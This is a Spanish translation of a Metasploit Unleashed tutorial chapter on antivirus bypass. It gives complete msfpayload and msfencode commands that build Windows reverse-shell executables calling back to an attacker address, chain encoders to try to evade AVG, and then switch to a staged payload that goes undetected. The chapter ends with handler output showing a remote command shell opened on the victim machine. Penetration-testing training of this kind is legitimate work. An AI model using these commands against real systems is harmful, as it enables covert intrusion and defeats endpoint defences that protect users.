Metasploit Unleashed en Espanol (8.2/18)

7.3.10

Antivirus Bypass

Como hemos visto, el binario del payloads de Metasploit funciona bien. Sin embargo, hay una pequeña complicacion.

La mayoria de los sistemas basados en Windows ejecutan alguna proteccion anti-virus, debido a los ataques generalizados de software maliciosos a esta plataforma. Hagamos nuestro ejemplo un poco mas realista, he instalemos la version gratuita de AVG en el sistema y veamos que sucede.

Photobucket

Inmediatamente, se detecta nuestro payload. Vamos a ver si hay algo que podamos hacer para evitar que sea detectado por AVG.

Vamos a codificar nuestro ejecutable en un intento de hacerlo mas dificil de ser descubierto. Hemos utilizamos la codificacion antes cuando explotamos software evitando caracteres dañados, veamos si podemos usarlo aqui. Usaremos el programa de linea de comando msfencode. Veamos alguna de las opciones ejecutando msfencode con el parametro "-h".

root@bt4:/pentest/exploits/framework3# ./msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: 'x00xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)


Veamos que codificadores estan disponibles ejecutando "msfencode -l".

root@bt4:/pentest/exploits/framework3# ./msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder


Excelente. Podemos ver las opciones y algunos codificadores que le podemos dar uso. Vamos a usar la salida sin depurar del msfpayload y lo pasamos como entrada a msfencode usando "shikata ga nai encoder" (traducido como "no puede ser ayudado" o "nada se puede hacer"). Desde ahi, saldra el binario de windows.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

root@bt:/pentest/exploits/framework3# file /tmp/2.exe

/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit


Perfecto! Ahora transferimos el binario al otro sistema y vemos que pasa. Y...

Photobucket

Eso no es bueno. Todavia sigue siendo detectado por AVG. Bueno, no podemos dejar que gane AVG, verdad? Vamos a ponernos un poco loco, y usar tres diferentes codificadores, dos de los cuales le diremos que sea ejecutado 10 veces cada uno, para un total de 21 codificaciones. Esto es toda la codificacion que podemos hacer y seguir teniendo en funcionamiento el binario . AVG no podra con esto!

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)

[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)

[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)

[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)

[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)

[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)

[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)

[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)

[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)

[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)

[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)

[*] x86/countdown succeeded with size 856 (iteration=1)

root@bt4:/pentest/exploits/framework3# file /tmp/6.exe
/tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit


Ok, copiamos el binario, lo ejecutamos yyyyy....

Photobucket

Fracasamos! Sigue siendo detectado por AVG! Como vamos a pasar esto?
Bueno, resulta que hay una buena razon para eso. Metasploit soporta dos tipos diferentes de payloads. El primero, como "windows/shell_reverse_tcp" contiene todo el codigo necesario por el payload. El otro, como "windows/shell/reverse_tcp" funciona un poco diferente. "windows/shell/reverse_tcp" contiene solo el codigo suficiente para abrir una conexion de red, entonces el stage carga el resto de codigo requerido por el exploit desde la maquina de los atacantes. En el caso de "windows/shell/reverse_tcp", hace una conexion de vuelta hacia el sistema atacante, el resto del payload es cargado en memoria, y luego se nos abre un interprete shell.

Entonces, que significa esto para los antivirus? Bueno, la mayoria de los antivirus funcionan con una tecnologia a base de firmas. El codigo utilizado por "windows/shell_reverse_tcp" se compara con esas firmas y es marcado por AVG de inmediato. Por otra parte, el staged payload, "windows/shell/reverse_tcp" no contiene la firma que busca AVG, y por eso, pasa sin darse cuenta. Ademas, al contener menos codigo, el anti-virus tiene menos con que trabajar, y si la firma es demaciado generica, habran muchos falsos positivos y frustaran a los usuarios cuando activen un software no malicioso.

Con eso en mente, vamos a generar un staged payload "windows/shell/reverse_tcp" como ejecutable.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=172.16.104.130,LPORT=31337

root@bt4:/pentest/exploits/framework3# file /tmp/7.exe
/tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit


Ok, ahora lo copiamos en el sistema remoto y lo ejecutamos, para ver que sucede.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Documents

05/27/2009 09:56 PM
.
05/27/2009 09:56 PM
..
05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM
Downloads
10/29/2008 05:55 PM
My Music
10/29/2008 05:55 PM
My Pictures
1 File(s) 9,728 bytes
5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>


Exito! el Antivirus no se activo con este nuevo staged payload. Hemos logrado evadir el antivirus del sistema, y ejecutado el payload.



© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.